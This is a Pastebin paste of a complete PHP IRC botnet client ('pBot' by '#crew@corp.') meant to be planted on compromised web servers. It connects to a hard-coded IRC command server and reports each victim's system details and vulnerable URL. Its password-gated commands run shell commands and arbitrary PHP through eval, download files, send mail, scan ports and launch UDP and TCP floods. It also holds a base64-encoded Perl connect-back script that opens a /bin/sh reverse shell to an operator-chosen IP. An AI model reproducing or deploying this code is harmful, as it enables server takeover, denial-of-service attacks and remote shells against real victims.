1x33x7

racrew bnet again

Jan 3rd, 2013
591
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.77 KB | None | 0 0
  1. <?
  2. /*
  3. *
  4. * #crew@corp. since 2003
  5. * edited by: dragon <[email protected]> <[email protected]>
  6. * Friend: LP <[email protected]>
  7. * COMMANDS:
  8. *
  9. * .user <password> //login to the bot
  10. * .logout //logout of the bot
  11. * .die //kill the bot
  12. * .restart //restart the bot
  13. * .mail <to> <from> <subject> <msg> //send an email
  14. * .dns <IP|HOST> //dns lookup
  15. * .download <URL> <filename> //download a file
  16. * .exec <cmd> // uses exec() //execute a command
  17. * .sexec <cmd> // uses shell_exec() //execute a command
  18. * .cmd <cmd> // uses popen() //execute a command
  19. * .info //get system information
  20. * .php <php code> // uses eval() //execute php code
  21. * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack
  22. * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack
  23. * .raw <cmd> //raw IRC command
  24. * .rndnick //change nickname
  25. * .pscan <host> <port> //port scan
  26. * .safe // test safe_mode (dvl)
  27. * .inbox <to> // test inbox (dvl)
  28. * .conback <ip> <port> // conect back (dvl)
  29. * .uname // return shell's uname using a php function (dvl)
  30. *
  31. */
  32. set_time_limit(0);
  33. error_reporting(0);
  34. echo "ok!";
  35. class pBot
  36. {
  37. var $config = array("server"=>"irc.unixon.net",
  38. "port"=>"7100",
  39. "pass"=>"",
  40. "prefix"=>"Pret",
  41. "maxrand"=>"4",
  42. "chan"=>"#dor",
  43. "chan2"=>"#dor",
  44. "key"=>"dor",
  45. "modes"=>"+p",
  46. "password"=>"dor",
  47. "trigger"=>".",
  48. "hostauth"=>"racrew" // * for any hostname (remember: /setvhost pucorp.org)
  49. );
  50. var $users = array();
  51. function start()
  52. {
  53. if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  54. $this->start();
  55. $ident = $this->config['prefix'];
  56. $alph = range("0","9");
  57. for($i=0;$i<$this->config['maxrand'];$i++)
  58. $ident .= $alph[rand(0,9)];
  59. if(strlen($this->config['pass'])>0)
  60. $this->send("PASS ".$this->config['pass']);
  61. $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  62. $this->set_nick();
  63. $this->main();
  64. }
  65. function main()
  66. {
  67. while(!feof($this->conn))
  68. {
  69. $this->buf = trim(fgets($this->conn,512));
  70. $cmd = explode(" ",$this->buf);
  71. if(substr($this->buf,0,6)=="PING :")
  72. {
  73. $this->send("PONG :".substr($this->buf,6));
  74. }
  75. if(isset($cmd[1]) && $cmd[1] =="001")
  76. {
  77. $this->send("MODE ".$this->nick." ".$this->config['modes']);
  78. $this->join($this->config['chan'],$this->config['key']);
  79. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  80. else { $safemode = "off"; }
  81. $uname = php_uname();
  82. $this->privmsg($this->config['chan2'],"[\2uname!\2]: $uname (safe: $safemode)");
  83. $this->privmsg($this->config['chan2'],"[\2vuln!\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  84. }
  85. if(isset($cmd[1]) && $cmd[1]=="433")
  86. {
  87. $this->set_nick();
  88. }
  89. if($this->buf != $old_buf)
  90. {
  91. $mcmd = array();
  92. $msg = substr(strstr($this->buf," :"),2);
  93. $msgcmd = explode(" ",$msg);
  94. $nick = explode("!",$cmd[0]);
  95. $vhost = explode("@",$nick[1]);
  96. $vhost = $vhost[1];
  97. $nick = substr($nick[0],1);
  98. $host = $cmd[0];
  99. if($msgcmd[0]==$this->nick)
  100. {
  101. for($i=0;$i<count($msgcmd);$i++)
  102. $mcmd[$i] = $msgcmd[$i+1];
  103. }
  104. else
  105. {
  106. for($i=0;$i<count($msgcmd);$i++)
  107. $mcmd[$i] = $msgcmd[$i];
  108. }
  109. if(count($cmd)>2)
  110. {
  111. switch($cmd[1])
  112. {
  113. case "QUIT":
  114. if($this->is_logged_in($host))
  115. {
  116. $this->log_out($host);
  117. }
  118. break;
  119. case "PART":
  120. if($this->is_logged_in($host))
  121. {
  122. $this->log_out($host);
  123. }
  124. break;
  125. case "PRIVMSG":
  126. if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
  127. {
  128. if(substr($mcmd[0],0,1)==".")
  129. {
  130. switch(substr($mcmd[0],1))
  131. {
  132. case "user":
  133. if($mcmd[1]==$this->config['password'])
  134. {
  135. $this->log_in($host);
  136. }
  137. else
  138. {
  139. $this->notice($this->config['chan'],"[\2Auth\2]: $nick passwordmu salah goblok!!");
  140. }
  141. break;
  142. }
  143. }
  144. }
  145. elseif($this->is_logged_in($host))
  146. {
  147. if(substr($mcmd[0],0,1)==".")
  148. {
  149. switch(substr($mcmd[0],1))
  150. {
  151. case "restart":
  152. $this->send("QUIT :restart command dari $nick");
  153. fclose($this->conn);
  154. $this->start();
  155. break;
  156. case "mail": //mail to from subject message
  157. if(count($mcmd)>4)
  158. {
  159. $header = "From: <".$mcmd[2].">";
  160. if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
  161. {
  162. $this->privmsg($this->config['chan'],"[\2mail\2]: Impossivel mandar e-mail.");
  163. }
  164. else
  165. {
  166. $this->privmsg($this->config['chan'],"[\2mail\2]: Mensagem enviada para \2".$mcmd[1]."\2");
  167. }
  168. }
  169. break;
  170. case "safe":
  171. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
  172. {
  173. $safemode = "on";
  174. }
  175. else {
  176. $safemode = "off";
  177. }
  178. $this->privmsg($this->config['chan'],"[\2safe mode\2]: ".$safemode."");
  179. break;
  180. case "inbox": //teste inbox
  181. if(isset($mcmd[1]))
  182. {
  183. $token = md5(uniqid(rand(), true));
  184. $header = "From: <inbox".$token."@gmail.com>";
  185. $a = php_uname();
  186. $b = getenv("SERVER_SOFTWARE");
  187. $c = gethostbyname($_SERVER["HTTP_HOST"]);
  188. if(!mail($mcmd[1],"InBox Test","#crew@corp. since 2003\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n\ngreetz: wicked\nby: dvl <[email protected]>",$header))
  189. {
  190. $this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
  191. }
  192. else
  193. {
  194. $this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
  195. }
  196. }
  197. break;
  198. case "conback":
  199. if(count($mcmd)>2)
  200. {
  201. $this->conback($mcmd[1],$mcmd[2]);
  202. }
  203. break;
  204. case "dns":
  205. if(isset($mcmd[1]))
  206. {
  207. $ip = explode(".",$mcmd[1]);
  208. if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
  209. {
  210. $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  211. }
  212. else
  213. {
  214. $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  215. }
  216. }
  217. break;
  218. case "info":
  219. case "vunl":
  220. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  221. else { $safemode = "off"; }
  222. $uname = php_uname();
  223. $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  224. $this->privmsg($this->config['chan'],"[\2vuln\2]: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."");
  225. break;
  226. case "bot":
  227. $this->privmsg($this->config['chan'],"[\2bot\2]: phpbot 2.0 by; #crew@corp.");
  228. break;
  229. case "uname":
  230. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  231. else { $safemode = "off"; }
  232. $uname = php_uname();
  233. $this->privmsg($this->config['chan'],"[\2info\2]: $uname (safe: $safemode)");
  234. break;
  235. case "rndnick":
  236. $this->set_nick();
  237. break;
  238. case "raw":
  239. $this->send(strstr($msg,$mcmd[1]));
  240. break;
  241. case "eval":
  242. $eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
  243. break;
  244. case "sexec":
  245. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  246. $exec = shell_exec($command);
  247. $ret = explode("\n",$exec);
  248. for($i=0;$i<count($ret);$i++)
  249. if($ret[$i]!=NULL)
  250. $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
  251. break;
  252. case "exec":
  253. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  254. $exec = exec($command);
  255. $ret = explode("\n",$exec);
  256. for($i=0;$i<count($ret);$i++)
  257. if($ret[$i]!=NULL)
  258. $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
  259. break;
  260. case "passthru":
  261. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  262. $exec = passthru($command);
  263. $ret = explode("\n",$exec);
  264. for($i=0;$i<count($ret);$i++)
  265. if($ret[$i]!=NULL)
  266. $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
  267. break;
  268. case "popen":
  269. if(isset($mcmd[1]))
  270. {
  271. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  272. $this->privmsg($this->config['chan'],"[\2popen\2]: $command");
  273. $pipe = popen($command,"r");
  274. while(!feof($pipe))
  275. {
  276. $pbuf = trim(fgets($pipe,512));
  277. if($pbuf != NULL)
  278. $this->privmsg($this->config['chan']," : $pbuf");
  279. }
  280. pclose($pipe);
  281. }
  282.  
  283. case "system":
  284. $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
  285. $exec = system($command);
  286. $ret = explode("\n",$exec);
  287. for($i=0;$i<count($ret);$i++)
  288. if($ret[$i]!=NULL)
  289. $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
  290. break;
  291. case "pscan": // .pscan 127.0.0.1 6667
  292. if(count($mcmd) > 2)
  293. {
  294. if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
  295. $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
  296. else
  297. $this->privmsg($this->config['chan'],"[\2pscan\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
  298. }
  299. break;
  300. case "ud.server": // .ud.server <server> <port> [password]
  301. if(count($mcmd)>2)
  302. {
  303. $this->config['server'] = $mcmd[1];
  304. $this->config['port'] = $mcmd[2];
  305. if(isset($mcmcd[3]))
  306. {
  307. $this->config['pass'] = $mcmd[3];
  308. $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]." Senha: ".$mcmd[3]);
  309. }
  310. else
  311. {
  312. $this->privmsg($this->config['chan'],"[\2update\2]: Server trocado para ".$mcmd[1].":".$mcmd[2]);
  313. }
  314. }
  315. break;
  316. case "download":
  317. if(count($mcmd) > 2)
  318. {
  319. if(!$fp = fopen($mcmd[2],"w"))
  320. {
  321. $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download. Permissao negada.");
  322. }
  323. else
  324. {
  325. if(!$get = file($mcmd[1]))
  326. {
  327. $this->privmsg($this->config['chan'],"[\2download\2]: Nao foi possivel fazer o download de \2".$mcmd[1]."\2");
  328. }
  329. else
  330. {
  331. for($i=0;$i<=count($get);$i++)
  332. {
  333. fwrite($fp,$get[$i]);
  334. }
  335. $this->privmsg($this->config['chan'],"[\2download\2]: Arquivo \2".$mcmd[1]."\2 baixado para \2".$mcmd[2]."\2");
  336. }
  337. fclose($fp);
  338. }
  339. }
  340. else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
  341. break;
  342. case "die":
  343. $this->send("QUIT :die command from $nick");
  344. fclose($this->conn);
  345. exit;
  346. case "logout":
  347. $this->log_out($host);
  348. $this->privmsg($this->config['chan'],"[\2auth\2]: $nick deslogado!");
  349. break;
  350. case "udpflood":
  351. if(count($mcmd)>3)
  352. {
  353. $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  354. }
  355. break;
  356. case "tcpflood":
  357. if(count($mcmd)>5)
  358. {
  359. $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  360. }
  361. break;
  362. }
  363. }
  364. }
  365. break;
  366. }
  367. }
  368. }
  369. $old_buf = $this->buf;
  370. }
  371. $this->start();
  372. }
  373. function send($msg)
  374. {
  375. fwrite($this->conn,"$msg\r\n");
  376. }
  377. function join($chan,$key=NULL)
  378. {
  379. $this->send("JOIN $chan $key");
  380. }
  381. function privmsg($to,$msg)
  382. {
  383. $this->send("PRIVMSG $to :$msg");
  384. }
  385. function notice($to,$msg)
  386. {
  387. $this->send("NOTICE $to :$msg");
  388. }
  389. function is_logged_in($host)
  390. {
  391. if(isset($this->users[$host]))
  392. return 1;
  393. else
  394. return 0;
  395. }
  396. function log_in($host)
  397. {
  398. $this->users[$host] = true;
  399. }
  400. function log_out($host)
  401. {
  402. unset($this->users[$host]);
  403. }
  404. function set_nick()
  405. {
  406. if(isset($_SERVER['SERVER_SOFTWARE']))
  407. {
  408. if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
  409. $this->nick = "A";
  410. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
  411. $this->nick = "I";
  412. elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
  413. $this->nick = "X";
  414. else
  415. $this->nick = "U";
  416. }
  417. else
  418. {
  419. $this->nick = "C";
  420. }
  421. $this->nick .= $this->config['prefix'];
  422. for($i=0;$i<$this->config['maxrand'];$i++)
  423. $this->nick .= mt_rand(0,9);
  424. $this->send("NICK ".$this->nick);
  425. }
  426. function udpflood($host,$packetsize,$time) {
  427. $this->privmsg($this->config['chan'],"[\2UdpFlood Started!\2]");
  428. $packet = "";
  429. for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  430. $timei = time();
  431. $i = 0;
  432. while(time()-$timei < $time) {
  433. $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  434. fwrite($fp,$packet);
  435. fclose($fp);
  436. $i++;
  437. }
  438. $env = $i * $packetsize;
  439. $env = $env / 1048576;
  440. $vel = $env / $time;
  441. $vel = round($vel);
  442. $env = round($env);
  443. $this->privmsg($this->config['chan'],"[\2UdpFlood Finished!\2]: $env MB enviados / Media: $vel MB/s ");
  444. }
  445. function tcpflood($host,$packets,$packetsize,$port,$delay)
  446. {
  447. $this->privmsg($this->config['chan'],"[\2TcpFlood Started!\2]");
  448. $packet = "";
  449. for($i=0;$i<$packetsize;$i++)
  450. $packet .= chr(mt_rand(1,256));
  451. for($i=0;$i<$packets;$i++)
  452. {
  453. if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  454. {
  455. $this->privmsg($this->config['chan'],"[\2TcpFlood\2]: Error: <$e>");
  456. return 0;
  457. }
  458. else
  459. {
  460. fwrite($fp,$packet);
  461. fclose($fp);
  462. }
  463. sleep($delay);
  464. }
  465. $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: Config - $packets pacotes para $host:$port.");
  466. }
  467. function conback($ip,$port)
  468. {
  469. $this->privmsg($this->config['chan'],"[\2conback\2]: tentando conectando a $ip:$port");
  470. $dc_source = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";
  471. if (is_writable("/tmp"))
  472. {
  473. if (file_exists("/tmp/dc.pl")) { unlink("/tmp/dc.pl"); }
  474. $fp=fopen("/tmp/dc.pl","w");
  475. fwrite($fp,base64_decode($dc_source));
  476. passthru("perl /tmp/dc.pl $ip $port &");
  477. unlink("/tmp/dc.pl");
  478. }
  479. else
  480. {
  481. if (is_writable("/var/tmp"))
  482. {
  483. if (file_exists("/var/tmp/dc.pl")) { unlink("/var/tmp/dc.pl"); }
  484. $fp=fopen("/var/tmp/dc.pl","w");
  485. fwrite($fp,base64_decode($dc_source));
  486. passthru("perl /var/tmp/dc.pl $ip $port &");
  487. unlink("/var/tmp/dc.pl");
  488. }
  489. if (is_writable("."))
  490. {
  491. if (file_exists("dc.pl")) { unlink("dc.pl"); }
  492. $fp=fopen("dc.pl","w");
  493. fwrite($fp,base64_decode($dc_source));
  494. passthru("perl dc.pl $ip $port &");
  495. unlink("dc.pl");
  496. }
  497. }
  498. }
  499. }
  500. $bot = new pBot;
  501. $bot->start();
  502. ?>
Advertisement
Add Comment
Please, Sign In to add comment